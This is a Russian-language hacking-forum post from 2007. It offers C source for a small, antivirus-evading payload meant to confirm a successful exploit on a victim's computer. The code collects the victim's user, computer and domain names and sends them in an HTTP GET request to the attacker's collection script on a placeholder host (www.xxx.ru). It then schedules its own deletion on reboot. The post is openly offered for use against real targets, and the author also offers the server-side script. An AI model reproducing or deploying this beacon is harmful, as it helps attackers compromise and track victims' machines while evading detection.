PDA

Просмотр полной версии : Тестирование внедрения.


[53x]Shadow
27.05.2007, 01:25
Иногда для проверки эффективности пробивки новой связки или например для тестирования очередного эксплойта, или шеллкода в боевой среде (Интернет), необходима начинка которая не палится антивирями. А так же для новичков, которые по той или иной причине не могут использовать трои, но хотят просто попробывать свои силы в использовании эксплойтов и шеллкодов, решил выложить следующий код. Может кому пригодится ;)
Вообщем идея заключается в сборе некой статистики с компа жертвы после того как мы внедрили экзешник на машину.
Идея заключается в том, чтобы собрать некоторые данные, например имя пользователя, машины и домена. Затем отправить их нашему скрипту, в http get запросе. Тем самым подтвердить удачное внедрение нашего экзешника.
Си:
#include <windows.h>
#include <Wininet.h>
#pragma comment(lib,"wininet")

void main(void)
{
// строка с именем скрипта гет параметрами
TCHAR addr[100];
// размер имени компьютера и пользователя
DWORD size = 1024;
// буфер для строки с именем
TCHAR buf[1024];
// Здесь имя нашего скрипта и гет-параметр имя пользователя
lstrcpy(addr, L"statistic.php?user=");
if( GetUserName(buf, &size) )
lstrcat(addr, buf);
// получим имя компьютера
lstrcat(addr, L"&comp=");
size = 1024;
if( GetComputerName(buf, &size) )
lstrcat(addr, buf);
// получим имя домена
lstrcat(addr, L"&domain=");
size = 1024;
if( GetComputerNameEx(ComputerNameDnsFullyQualified, buf, &size))
lstrcat(addr, buf);

// инициализируем WinInet
HINTERNET hInternet = InternetOpen(L"MyIe", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

if (hInternet != NULL) {
// открываем HTTP сессию, во втором параметре указываем имя сервера с нашим скриптом
HINTERNET hConnect = InternetConnect(hInternet, L"www.xxx.ru", INTERNET_DEFAULT_HTTP_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);

if (hConnect != NULL) {
// открываем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", addr, NULL, NULL, 0, INTERNET_FLAG_KEEP_CONNECTION, 1);

if (hRequest != NULL) {
// посылаем запрос
BOOL bSend = HttpSendRequest(hRequest, NULL,0, NULL,0);
// закрываем запрос
::InternetCloseHandle(hRequest);
}
// закрываем сессию
::InternetCloseHandle(hConnect);
}
// закрываем WinInet
::InternetCloseHandle(hInternet);
}
// самоудаление после перезагрузки, в первом параметре указываем имя создаваемого в системе экзешника
MoveFileEx(L"a.exe",NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
exit(0);
}
За код сильно не бейте старался юзать стандартые апи функции для уменьшения конечного размера экзешника :rolleyes:
Размер исполняемого файла после всяких извращений с настройками компиляции в 2005 студии достиг 3Кб.
Вообщем мона использовать и как небольшой пример написания програм на си для работы с HTTP.
Помимо имени юзера, компа и домена, ничего в башку сразу не пришло, может у кого-нидь есть идеи :confused:
Да и с самоуничтожением тоже долго думать в падлу было ;)
Имхо тип браузера, внешний ип мы всегда определим в пхп скрипте куда уйдут наши данные.
Если кому интересно могу еще выложить и код скрипта на пхп.